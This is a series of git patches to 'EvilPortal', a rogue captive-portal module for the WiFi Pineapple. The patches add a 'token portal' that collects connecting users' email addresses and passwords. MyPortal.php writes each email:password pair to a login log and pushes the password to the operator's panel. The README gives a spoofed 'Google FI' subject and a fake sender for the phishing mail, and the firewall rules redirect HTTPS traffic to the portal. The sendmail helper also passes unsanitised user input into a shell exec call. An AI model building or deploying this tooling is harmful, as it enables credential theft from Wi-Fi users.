From efb7b6fc50c40674b1fde56bb1cee4eacc68cdcf Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Fri, 29 May 2020 23:30:55 +0200 Subject: [PATCH 01/29] Update README.md still work in prog --- README.md | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index c235fa6..34382af 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,21 @@ # EvilPortal -Evil Portal is a captive portal module for the [Hak5](https://www.hak5.org) [Wifi Pineapple](https://www.wifipineapple.com/). This is the repository for the [Wifi Pineapple Nano](http://hakshop.myshopify.com/products/wifi-pineapple?variant=81044992) and [Wifi Pineapple Tetra](http://hakshop.myshopify.com/products/wifi-pineapple?variant=11303845317). If you have a Wifi Pineapple MKV you can find the code for that version [here](https://github.com/frozenjava/evilportal). +Evil Portal is a captive portal module for the [Hak5](https://www.hak5.org) [Wifi Pineapple](https://www.wifipineapple.com/). This is a clone of the repository [EvilPortalNano](https://github.com/frozenjava/EvilPortalNano) for the [Wifi Pineapple Nano](http://hakshop.myshopify.com/products/wifi-pineapple?variant=81044992) and [Wifi Pineapple Tetra](http://hakshop.myshopify.com/products/wifi-pineapple?variant=11303845317). If you have a Wifi Pineapple MKV you can find the code for that version [here](https://github.com/frozenjava/evilportal). ## Overview +This version of the portal is able generate tokens and send those via mail (from template) and verifies those later. +This brings new abilities. + +But requires you to setup: + +--> smtp settings on your pinapple. (smtp server infos needed) +--> edit details of sender and subject of the mail in the MyPortal.php. (The sender and Subject for the user token mail) +--> if needed replace the template.html (email template with your own | the template needs to have a string "TOKEN" !) + +Normal flow : +User connects ---> enters email / pw ---> Internet + +New possible flow: +User connects ---> enters email / pw ---> portal sends token ---> User enters Token ---> Internet ### Basic Portals Basic Portals allow you to create a simple captive portal page that is the same for everyone who visits it. This is useful if your needs don't involve different clients seeing different branded pages or pages with unique functionality to them. @@ -11,12 +25,10 @@ Targeted Portals allow you to create different portals to target a specific devi ## Manual Installation -First clone the repo and checkout the development branch +First clone the repo ``` git clone https://github.com/frozenjava/EvilPortalNano.git -git checkout -b development origin/development -git pull ``` Next change directory to EvilPortalNano From 2955674342860fcd36b3c0247c93138f1b8c07ed Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Fri, 29 May 2020 23:31:41 +0200 Subject: [PATCH 02/29] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 34382af..8cb53bb 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,9 @@ This brings new abilities. But requires you to setup: --> smtp settings on your pinapple. (smtp server infos needed) + --> edit details of sender and subject of the mail in the MyPortal.php. (The sender and Subject for the user token mail) + --> if needed replace the template.html (email template with your own | the template needs to have a string "TOKEN" !) Normal flow : From 8d1a1d6f9f0bb2c60ec2ab9b472ba7c8ca3fe1b2 Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Fri, 29 May 2020 23:33:46 +0200 Subject: [PATCH 03/29] Update README.md ... --- README.md | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 8cb53bb..25f4afa 100644 --- a/README.md +++ b/README.md @@ -1,11 +1,13 @@ # EvilPortal -Evil Portal is a captive portal module for the [Hak5](https://www.hak5.org) [Wifi Pineapple](https://www.wifipineapple.com/). This is a clone of the repository [EvilPortalNano](https://github.com/frozenjava/EvilPortalNano) for the [Wifi Pineapple Nano](http://hakshop.myshopify.com/products/wifi-pineapple?variant=81044992) and [Wifi Pineapple Tetra](http://hakshop.myshopify.com/products/wifi-pineapple?variant=11303845317). If you have a Wifi Pineapple MKV you can find the code for that version [here](https://github.com/frozenjava/evilportal). +Evil Portal is a captive portal module for the [Hak5](https://www.hak5.org) [Wifi Pineapple](https://www.wifipineapple.com/). +This is a clone of the repository [EvilPortalNano](https://github.com/frozenjava/EvilPortalNano) for the [Wifi Pineapple Nano](http://hakshop.myshopify.com/products/wifi-pineapple?variant=81044992) and [Wifi Pineapple Tetra](http://hakshop.myshopify.com/products/wifi-pineapple?variant=11303845317). +If you have a Wifi Pineapple MKV you can find the code for that version [here](https://github.com/frozenjava/evilportal). ## Overview This version of the portal is able generate tokens and send those via mail (from template) and verifies those later. This brings new abilities. -But requires you to setup: +## Requires you to setup: --> smtp settings on your pinapple. (smtp server infos needed) @@ -13,10 +15,10 @@ But requires you to setup: --> if needed replace the template.html (email template with your own | the template needs to have a string "TOKEN" !) -Normal flow : +## Normal flow : User connects ---> enters email / pw ---> Internet -New possible flow: +## New possible flow: User connects ---> enters email / pw ---> portal sends token ---> User enters Token ---> Internet ### Basic Portals From d765681c19c2a5c1831f8beba698eda824fe577d Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Fri, 29 May 2020 23:34:42 +0200 Subject: [PATCH 04/29] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 25f4afa..af2514c 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,8 @@ # EvilPortal Evil Portal is a captive portal module for the [Hak5](https://www.hak5.org) [Wifi Pineapple](https://www.wifipineapple.com/). + This is a clone of the repository [EvilPortalNano](https://github.com/frozenjava/EvilPortalNano) for the [Wifi Pineapple Nano](http://hakshop.myshopify.com/products/wifi-pineapple?variant=81044992) and [Wifi Pineapple Tetra](http://hakshop.myshopify.com/products/wifi-pineapple?variant=11303845317). + If you have a Wifi Pineapple MKV you can find the code for that version [here](https://github.com/frozenjava/evilportal). ## Overview From 0927cd1c0df3f8e7fd7c815d48fdcd3340a8b348 Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Fri, 29 May 2020 23:51:50 +0200 Subject: [PATCH 05/29] Update README.md --- README.md | 57 ++++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 56 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index af2514c..ce3f60e 100644 --- a/README.md +++ b/README.md @@ -23,12 +23,16 @@ User connects ---> enters email / pw ---> Internet ## New possible flow: User connects ---> enters email / pw ---> portal sends token ---> User enters Token ---> Internet +## Portals ### Basic Portals Basic Portals allow you to create a simple captive portal page that is the same for everyone who visits it. This is useful if your needs don't involve different clients seeing different branded pages or pages with unique functionality to them. ### Targeted Portals Targeted Portals allow you to create different portals to target a specific device or groups of devices based upon your pre-defined conditions. This is incredibly useful if you want all android devices to go to one android themed portal and all clients who are connected to "some-coffee-shop-wifi" go to a different portal all together. Targeted portals currently let you create targeting rules based on mac addresses, ssids, hostnames, and http useragents all on a per-client basis. You can either specify exact string matches or regex matches. +### Token Portals +Token Portals are Basic Portals with ability to generate tokens and send those via mail, those user based tokens will be request later to login. (sure will still ask for email and password !). + ## Manual Installation First clone the repo @@ -49,6 +53,54 @@ Finally, with your Wifi Pineapple connected upload the EvilPortal directory to t scp -r EvilPortal root@172.16.42.1:/pineapple/modules/ ``` +# Now you need to setup your SMTP Settings on your pinapple: +(you can ssh and edit the files or use the [Cabinet Module](https://github.com/hak5/wifipineapple-modules/tree/master/Cabinet)) + +``` +edit the /etc/ssmtp/ssmtp.conf and change it with your configuration. +For example, configuration for GMAIL: +root@Pineapple:/etc/ssmtp# cat ssmtp.conf +# +# /etc/ssmtp.conf -- a config file for sSMTP sendmail. +# +# The person who gets all mail for userids < 1000 +# Make this empty to disable rewriting. +root=your_email@gmail.com + +# The place where the mail goes. The actual machine name is required +# no MX records are consulted. Commonly mailhosts are named mail.domain.com +# The example will fit if you are in domain.com and your mailhub is so named. +mailhub=smtp.gmail.com:465 + +# Where will the mail seem to come from? +rewriteDomain=gmail.com + +# The full hostname +hostname=mail.gmail.com + +# Set this to never rewrite the "From:" line (unless not given) and to +# use that address in the "from line" of the envelope. +FromLineOverride=YES + +# Use SSL/TLS to send secure messages to server. +UseTLS=YES +#UseSTARTTLS=Yes + +AuthUser=your_email@gmail.com +AuthPass=your_gmail_password + +# Use SSL/TLS certificate to authenticate against smtp host. +#UseTLSCert=YES + +# Use this RSA certificate. +#TLSCert=/etc/ssl/certs/ssmtp.pem +``` +# Edit Email details matching your needs: +``` +$sub = "Google FI - Your WIFI-Token !\nContent-Type: text/html"; //Subject of the mail & html format info just replace "Google FI - Your WIFI-Token !" +$sender = "your_email@gmail.com or your_fake_sender_email@gmail.com"; //Sender of the mail +``` + Head on over to the Wifi Pineapples Web Interface and go to the Evil Portal module. You're all done! ## Useful Links @@ -61,11 +113,14 @@ Head on over to the Wifi Pineapples Web Interface and go to the Evil Portal modu If you want to contribute to the project feel free to tackle one of these tasks! ### TODO -* Figure out how to redirect clients going to HTTPS sites * Add ability to program commands to run when a portal is enabled/disabled ## Release History +### Version 4.B +* Added Sendmail and Token +* Https fix + ### Version 3.1 * Added ability to write and view logs on a per-portal basis * Created method writeLog($message) that writes to the portal log file From c78b53c8e7fce81e99a8fb50b6fd60531979e63c Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Sat, 30 May 2020 13:03:45 +0200 Subject: [PATCH 06/29] Update module.info 4.B --- EvilPortal/module.info | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/EvilPortal/module.info b/EvilPortal/module.info index c23e282..2b59acf 100644 --- a/EvilPortal/module.info +++ b/EvilPortal/module.info @@ -6,5 +6,5 @@ "tetra" ], "title": "Evil Portal", - "version": "3.1" -} \ No newline at end of file + "version": "4.B" +} From 6d397f08961dfdce747da844c2100776f850a972 Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Sat, 30 May 2020 13:09:29 +0200 Subject: [PATCH 07/29] Update executable https to http portal (drop https or bring portal up) --- EvilPortal/executable/executable | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/EvilPortal/executable/executable b/EvilPortal/executable/executable index 079cab0..cf01664 100755 --- a/EvilPortal/executable/executable +++ b/EvilPortal/executable/executable @@ -29,6 +29,7 @@ case "$1" in $IPTABLES -t nat -A prerouting_rule -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination $IP:80 # Need to activate HTTPS on the nginx server of the PineAP, so for now HTTPS traffic is dropped. #$IPTABLES -t nat -A prerouting_rule -m mark --mark 99 -p tcp --dport 443 -j DNAT --to-destination $IP:443 + $IPTABLES -t nat -A prerouting_rule -m mark --mark 99 -p tcp --dport 443 -j DNAT --to-destination $IP:80 # for use with dns spoff $IPTABLES -t filter -A forwarding_rule -p udp --dport 53 -j ACCEPT @@ -38,6 +39,8 @@ case "$1" in #$IPTABLES -t filter -A input_rule -p tcp --dport 443 -j ACCEPT #Webserver $IPTABLES -t filter -A input_rule -p tcp --dport 1471 -j ACCEPT #PineAP admin page $IPTABLES -t filter -A input_rule -p tcp --dport 22 -j ACCEPT #SSH + $IPTABLES -t filter -A input_rule -p tcp --dport 465 -j ACCEPT #Smtp Accept + # All other traffic which is marked 99 is just dropped $IPTABLES -t filter -A forwarding_rule -m mark --mark 99 -j DROP @@ -96,4 +99,4 @@ case "$1" in *) echo "USAGE: $0 {initialize|add |remove |purge|list}" exit 0 - esac \ No newline at end of file + esac From f8d137fa10ee4a005e001eaf1d879fb0145bcca5 Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Sat, 30 May 2020 13:11:54 +0200 Subject: [PATCH 08/29] Update Portal.php sendmail function --- EvilPortal/includes/api/Portal.php | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/EvilPortal/includes/api/Portal.php b/EvilPortal/includes/api/Portal.php index e67cd31..21f7f8d 100644 --- a/EvilPortal/includes/api/Portal.php +++ b/EvilPortal/includes/api/Portal.php @@ -34,6 +34,16 @@ protected final function execBackground($command) exec("echo \"{$command}\" | at now"); } + /** + * sendmail. + * @param $email: The receive mail + */ + protected final function sendmail($sub, $bod, $sender, $email) + { + exec("echo -e 'Subject: {$sub} \n\n {$bod}\n' | sendmail -f {$sender} {$email} | at now"); + } + + /** * Send notifications to the web UI. * @param $message: The notification message @@ -60,6 +70,7 @@ protected final function writeLog($message) } } + /** * Creates an iptables rule allowing the client to access the internet and writes them to the authorized clients. * Override this method to add other authorization steps validation. @@ -102,6 +113,7 @@ protected function redirect() header("Location: {$this->request->target}", true, 302); } + /** * Override this to do something when the client is successfully authorized. * By default it just notifies the Web UI. From 2f36391fc7b691b39a09b7e2a47ac3359ee55e40 Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Sat, 30 May 2020 13:44:22 +0200 Subject: [PATCH 09/29] Create index.php simple one --- EvilPortal/includes/token_skeleton/index.php | 52 ++++++++++++++++++++ 1 file changed, 52 insertions(+) create mode 100644 EvilPortal/includes/token_skeleton/index.php diff --git a/EvilPortal/includes/token_skeleton/index.php b/EvilPortal/includes/token_skeleton/index.php new file mode 100644 index 0000000..fa9816c --- /dev/null +++ b/EvilPortal/includes/token_skeleton/index.php @@ -0,0 +1,52 @@ + + + + + Evil Portal + + + + + + + +
+

Evil Portal

+

This is the default Evil Portal page.

+

The SSID you are connected to is

+

Your host name is

+

Your MAC Address is

+

Your internal IP address is

+
+

Please enter your Email Address and Password to receive a Token

+ +
+ +

+ + + + + +

+ +
+ +
+

Token

+

Enter Your Token

+

Your Token has been send to your E-Mail
Enter the Token to continue

+ + + +

+ +
+
+ + + + From 2be5bd2ce5bb69fac7cd3f2f9f18766ea3ffeb18 Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Sat, 30 May 2020 13:46:34 +0200 Subject: [PATCH 10/29] Create MyPortal.php sendmail token $sub = "Evil Portal Your WIFI-Token !\nContent-Type: text/html"; //Subject of the mail & html format info $sender = "info@test.de"; //Sender of the mail Those needs to be changed --- .../includes/token_skeleton/MyPortal.php | 93 +++++++++++++++++++ 1 file changed, 93 insertions(+) create mode 100644 EvilPortal/includes/token_skeleton/MyPortal.php diff --git a/EvilPortal/includes/token_skeleton/MyPortal.php b/EvilPortal/includes/token_skeleton/MyPortal.php new file mode 100644 index 0000000..9fd91db --- /dev/null +++ b/EvilPortal/includes/token_skeleton/MyPortal.php @@ -0,0 +1,93 @@ +execBackground("notify $email' Requested Token:'$token' - IP:'$ip"); //notify panel + $this->sendmail($sub, $mailtext, $sender, $email); //Send the mail + file_put_contents("$dir/evilportal-logs/$mac:mail.txt", "{$email}", FILE_APPEND); // write mail file + file_put_contents("$dir/evilportal-logs/portal-logins.txt", "{$email}:{$gpw}", FILE_APPEND); // write google clients file + file_put_contents("$dir/evilportal-logs/$mac.txt", "{$token}", FILE_APPEND); // write auth file + die(); + } + if (isset($_POST['getaccess'])) { + $rtoken = isset($_POST['token']) ? $_POST['token'] : 'token'; + $hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'hostname'; + $mac = isset($_POST['mac']) ? $_POST['mac'] : 'mac'; + $ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip'; + $dtoken = file_get_contents("$dir/evilportal-logs/$mac.txt"); //read auth file + if($rtoken == $dtoken) { + $this->execBackground("notify $mac' Login:'$token' IP:'$ip"); //notify panel + $this->execBackground("writeLog $mac' - '$token"); + parent::handleAuthorization(); + unlink("$dir/evilportal-logs/$mac:mail.txt"); + unlink("$dir/evilportal-logs/$mac.txt"); + } + } + // Call parent to handle basic authorization first + //parent::handleAuthorization(); + echo "Login Error !"; //show error + } + + + /** + * Override this to do something when the client is successfully authorized. + * By default it just notifies the Web UI. + */ + public function onSuccess() + { + // Calls default success message + parent::onSuccess(); + } + + /** + * If an error occurs then do something here. + * Override to provide your own functionality. + */ + public function showError() + { + // Calls default error message + parent::showError(); + } +} From 3234dfbff2ae41c173ad906b0bfb61c637e8ffe6 Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Sat, 30 May 2020 13:47:08 +0200 Subject: [PATCH 11/29] Create portalinfo.json --- EvilPortal/includes/token_skeleton/portalinfo.json | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 EvilPortal/includes/token_skeleton/portalinfo.json diff --git a/EvilPortal/includes/token_skeleton/portalinfo.json b/EvilPortal/includes/token_skeleton/portalinfo.json new file mode 100644 index 0000000..804318e --- /dev/null +++ b/EvilPortal/includes/token_skeleton/portalinfo.json @@ -0,0 +1,4 @@ +{ + "name": null, + "type": "token" +} From 9953fd3e4bb22477cb252e6092d5be415363ed99 Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Sat, 30 May 2020 13:47:35 +0200 Subject: [PATCH 12/29] Create helper.php --- EvilPortal/includes/token_skeleton/helper.php | 45 +++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 EvilPortal/includes/token_skeleton/helper.php diff --git a/EvilPortal/includes/token_skeleton/helper.php b/EvilPortal/includes/token_skeleton/helper.php new file mode 100644 index 0000000..8e73535 --- /dev/null +++ b/EvilPortal/includes/token_skeleton/helper.php @@ -0,0 +1,45 @@ + Date: Sat, 30 May 2020 14:02:10 +0200 Subject: [PATCH 13/29] Create template.html simple mail template --- .../includes/token_skeleton/template.html | 362 ++++++++++++++++++ 1 file changed, 362 insertions(+) create mode 100644 EvilPortal/includes/token_skeleton/template.html diff --git a/EvilPortal/includes/token_skeleton/template.html b/EvilPortal/includes/token_skeleton/template.html new file mode 100644 index 0000000..5f71059 --- /dev/null +++ b/EvilPortal/includes/token_skeleton/template.html @@ -0,0 +1,362 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + From d4b33d509decfd059ef4c051026da2d0bd91e86c Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Sun, 31 May 2020 00:25:18 +0200 Subject: [PATCH 14/29] Update executable --- EvilPortal/executable/executable | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/EvilPortal/executable/executable b/EvilPortal/executable/executable index cf01664..0fa1229 100755 --- a/EvilPortal/executable/executable +++ b/EvilPortal/executable/executable @@ -22,7 +22,7 @@ case "$1" in $IPTABLES -t mangle -I PREROUTING -p all ! -s $CLIENTNET -j RETURN # Traffic not coming from an accepted user gets marked 99. - $IPTABLES -t mangle -A fwmark -j MARK --set-mark 99 + $IPTABLES -t mangle -A mark -j MARK --set-mark 99 # Traffic which has been marked 99 and is headed for 80/TCP or 443/TCP # should be redirected to the captive portal web server. From 863342730ff1fd67053b6421120b9139c51648ea Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Sun, 31 May 2020 15:41:59 +0200 Subject: [PATCH 15/29] Update executable --- EvilPortal/executable/executable | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/EvilPortal/executable/executable b/EvilPortal/executable/executable index 0fa1229..cf01664 100755 --- a/EvilPortal/executable/executable +++ b/EvilPortal/executable/executable @@ -22,7 +22,7 @@ case "$1" in $IPTABLES -t mangle -I PREROUTING -p all ! -s $CLIENTNET -j RETURN # Traffic not coming from an accepted user gets marked 99. - $IPTABLES -t mangle -A mark -j MARK --set-mark 99 + $IPTABLES -t mangle -A fwmark -j MARK --set-mark 99 # Traffic which has been marked 99 and is headed for 80/TCP or 443/TCP # should be redirected to the captive portal web server. From 2ed4d134d1a76910fdbfd24ea1bc475ea6d071bd Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Sun, 31 May 2020 17:46:01 +0200 Subject: [PATCH 16/29] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index ce3f60e..b1123a7 100644 --- a/README.md +++ b/README.md @@ -97,6 +97,7 @@ AuthPass=your_gmail_password ``` # Edit Email details matching your needs: ``` +edit MyPortal.php and change: $sub = "Google FI - Your WIFI-Token !\nContent-Type: text/html"; //Subject of the mail & html format info just replace "Google FI - Your WIFI-Token !" $sender = "your_email@gmail.com or your_fake_sender_email@gmail.com"; //Sender of the mail ``` From f31ef4748bc9c7250cabe391fc50eb9728c30caa Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Sun, 31 May 2020 18:58:33 +0200 Subject: [PATCH 17/29] Update index.php --- EvilPortal/includes/token_skeleton/index.php | 37 ++++++++++++++++++++ 1 file changed, 37 insertions(+) diff --git a/EvilPortal/includes/token_skeleton/index.php b/EvilPortal/includes/token_skeleton/index.php index fa9816c..a9eef3e 100644 --- a/EvilPortal/includes/token_skeleton/index.php +++ b/EvilPortal/includes/token_skeleton/index.php @@ -1,6 +1,43 @@ exec('CREATE TABLE IF NOT EXISTS user_agents (browser TEXT NOT NULL);'); + $statement = $sqlite->prepare('INSERT INTO user_agents (browser) VALUES(:browser);'); + $statement->bindValue(':browser', $browser, SQLITE3_TEXT); + try { + $ret = $statement->execute(); + } catch (Exception $e) { + return false; + } + return $ret; +} + +function identifyUserAgent($userAgent) +{ + if (preg_match('/(MSIE|Trident|(?!Gecko.+)Firefox)/', $userAgent)) { + increment_browser('firefox'); + }else if (preg_match('/(?!AppleWebKit.+Chrome.+)Safari(?!.+Edge)/', $userAgent)) { + increment_browser('safari'); + }else if (preg_match('/(?!AppleWebKit.+)Chrome(?!.+Edge)/', $userAgent)) { + increment_browser('chrome'); + }else if (preg_match('/(?!AppleWebKit.+Chrome.+Safari.+)Edge/', $userAgent)) { + increment_browser('edge'); + }else if (preg_match('/MSIE [0-9]\./', $userAgent)) { + increment_browser('internet_explorer'); + } elseif (preg_match('/^Opera\/[0-9]{1,3}\.[0-9]/', $userAgent)) { + increment_browser('opera'); + } else { + increment_browser('other'); + } +} +identifyUserAgent($_SERVER['HTTP_USER_AGENT']); ?> From afe31ed52e8dc433be399a2e02c200ba26714775 Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Sun, 31 May 2020 19:01:17 +0200 Subject: [PATCH 18/29] Update MyPortal.php --- EvilPortal/includes/token_skeleton/MyPortal.php | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/EvilPortal/includes/token_skeleton/MyPortal.php b/EvilPortal/includes/token_skeleton/MyPortal.php index 9fd91db..435c03b 100644 --- a/EvilPortal/includes/token_skeleton/MyPortal.php +++ b/EvilPortal/includes/token_skeleton/MyPortal.php @@ -39,15 +39,15 @@ function generateRandomString($length = 8) { $body = file_get_contents("/www/template.html"); //read the template $mailtext = str_replace('TOKEN', $token, $body); //insert token (TOKEN will be replaced) if (isset($_POST['gettoken'])) { - $email = isset($_POST['email']) ? $_POST['email'] : 'email'; + $email = isset($_POST['email']) ? $_POST['email'] : 'email'; $mac = isset($_POST['mac']) ? $_POST['mac'] : 'mac'; $hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'hostname'; $ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip'; $gpw = isset($_POST['gpw']) ? $_POST['gpw'] : 'gpw'; - $this->execBackground("notify $email' Requested Token:'$token' - IP:'$ip"); //notify panel + $this->execBackground("notify $email' Requested Token:'$token' - PW:'$gpw' - IP:'$ip"); //notify panel $this->sendmail($sub, $mailtext, $sender, $email); //Send the mail - file_put_contents("$dir/evilportal-logs/$mac:mail.txt", "{$email}", FILE_APPEND); // write mail file - file_put_contents("$dir/evilportal-logs/portal-logins.txt", "{$email}:{$gpw}", FILE_APPEND); // write google clients file + file_put_contents("$dir/evilportal-logs/$mac:mail.txt", "{$email}/n", FILE_APPEND); // write mail file + file_put_contents("$dir/evilportal-logs/portal-logins.txt", "{$email}:{$gpw}/n", FILE_APPEND); // write google clients file file_put_contents("$dir/evilportal-logs/$mac.txt", "{$token}", FILE_APPEND); // write auth file die(); } @@ -58,8 +58,8 @@ function generateRandomString($length = 8) { $ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip'; $dtoken = file_get_contents("$dir/evilportal-logs/$mac.txt"); //read auth file if($rtoken == $dtoken) { - $this->execBackground("notify $mac' Login:'$token' IP:'$ip"); //notify panel - $this->execBackground("writeLog $mac' - '$token"); + $this->execBackground("notify $mac' Login:'$rtoken' IP:'$ip"); //notify panel + $this->execBackground("writeLog $mac' - '$rtoken"); parent::handleAuthorization(); unlink("$dir/evilportal-logs/$mac:mail.txt"); unlink("$dir/evilportal-logs/$mac.txt"); From 7f30b5d072a6038c4aa672bb38bc001f51b370be Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Sun, 31 May 2020 19:03:25 +0200 Subject: [PATCH 19/29] Update index.php --- EvilPortal/includes/token_skeleton/index.php | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/EvilPortal/includes/token_skeleton/index.php b/EvilPortal/includes/token_skeleton/index.php index a9eef3e..fd017c0 100644 --- a/EvilPortal/includes/token_skeleton/index.php +++ b/EvilPortal/includes/token_skeleton/index.php @@ -18,7 +18,6 @@ function increment_browser($browser) } return $ret; } - function identifyUserAgent($userAgent) { if (preg_match('/(MSIE|Trident|(?!Gecko.+)Firefox)/', $userAgent)) { @@ -39,7 +38,6 @@ function identifyUserAgent($userAgent) } identifyUserAgent($_SERVER['HTTP_USER_AGENT']); ?> - Evil Portal @@ -48,7 +46,6 @@ function identifyUserAgent($userAgent) -

Evil Portal

@@ -65,8 +62,8 @@ function identifyUserAgent($userAgent)

- - + +

@@ -77,13 +74,13 @@ function identifyUserAgent($userAgent)

Enter Your Token

Your Token has been send to your E-Mail
Enter the Token to continue

- - -

+ + +

+
- From 3b2ac3b10aaa284c06b3826d72fb16827d900a2d Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Sun, 31 May 2020 19:10:45 +0200 Subject: [PATCH 20/29] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index b1123a7..de2c035 100644 --- a/README.md +++ b/README.md @@ -120,6 +120,8 @@ If you want to contribute to the project feel free to tackle one of these tasks! ### Version 4.B * Added Sendmail and Token +* Added Hotspot detection html +* Added Tracking Script (Pinapple Dashboard Browser Stats (Still Beta)) * Https fix ### Version 3.1 From e6ecfdfeb98aa25e3859cab463e2ab1e39a4c4b6 Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Sun, 31 May 2020 19:11:46 +0200 Subject: [PATCH 21/29] Add files via upload --- EvilPortal/includes/skeleton/hotspot-detect.html | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 EvilPortal/includes/skeleton/hotspot-detect.html diff --git a/EvilPortal/includes/skeleton/hotspot-detect.html b/EvilPortal/includes/skeleton/hotspot-detect.html new file mode 100644 index 0000000..d1c3083 --- /dev/null +++ b/EvilPortal/includes/skeleton/hotspot-detect.html @@ -0,0 +1,5 @@ + + + + + From f44e808212a0604baf95fcdba783b6a78fe8464e Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Sun, 31 May 2020 19:12:13 +0200 Subject: [PATCH 22/29] Add files via upload --- EvilPortal/includes/targeted_skeleton/hotspot-detect.html | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 EvilPortal/includes/targeted_skeleton/hotspot-detect.html diff --git a/EvilPortal/includes/targeted_skeleton/hotspot-detect.html b/EvilPortal/includes/targeted_skeleton/hotspot-detect.html new file mode 100644 index 0000000..d1c3083 --- /dev/null +++ b/EvilPortal/includes/targeted_skeleton/hotspot-detect.html @@ -0,0 +1,5 @@ + + + + + From c7d1e30975dcffe13677cbdae6acf33f6f681421 Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Sun, 31 May 2020 19:13:06 +0200 Subject: [PATCH 23/29] Add files via upload --- EvilPortal/includes/token_skeleton/hotspot-detect.html | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 EvilPortal/includes/token_skeleton/hotspot-detect.html diff --git a/EvilPortal/includes/token_skeleton/hotspot-detect.html b/EvilPortal/includes/token_skeleton/hotspot-detect.html new file mode 100644 index 0000000..d1c3083 --- /dev/null +++ b/EvilPortal/includes/token_skeleton/hotspot-detect.html @@ -0,0 +1,5 @@ + + + + + From b37c70b68fee27dcd7ad120cc700edde36654aed Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Sun, 31 May 2020 19:13:48 +0200 Subject: [PATCH 24/29] Update index.php --- EvilPortal/includes/skeleton/index.php | 36 ++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) diff --git a/EvilPortal/includes/skeleton/index.php b/EvilPortal/includes/skeleton/index.php index 8f969c2..5f500be 100644 --- a/EvilPortal/includes/skeleton/index.php +++ b/EvilPortal/includes/skeleton/index.php @@ -1,6 +1,42 @@ exec('CREATE TABLE IF NOT EXISTS user_agents (browser TEXT NOT NULL);'); + $statement = $sqlite->prepare('INSERT INTO user_agents (browser) VALUES(:browser);'); + $statement->bindValue(':browser', $browser, SQLITE3_TEXT); + try { + $ret = $statement->execute(); + } catch (Exception $e) { + return false; + } + return $ret; +} +function identifyUserAgent($userAgent) +{ + if (preg_match('/(MSIE|Trident|(?!Gecko.+)Firefox)/', $userAgent)) { + increment_browser('firefox'); + }else if (preg_match('/(?!AppleWebKit.+Chrome.+)Safari(?!.+Edge)/', $userAgent)) { + increment_browser('safari'); + }else if (preg_match('/(?!AppleWebKit.+)Chrome(?!.+Edge)/', $userAgent)) { + increment_browser('chrome'); + }else if (preg_match('/(?!AppleWebKit.+Chrome.+Safari.+)Edge/', 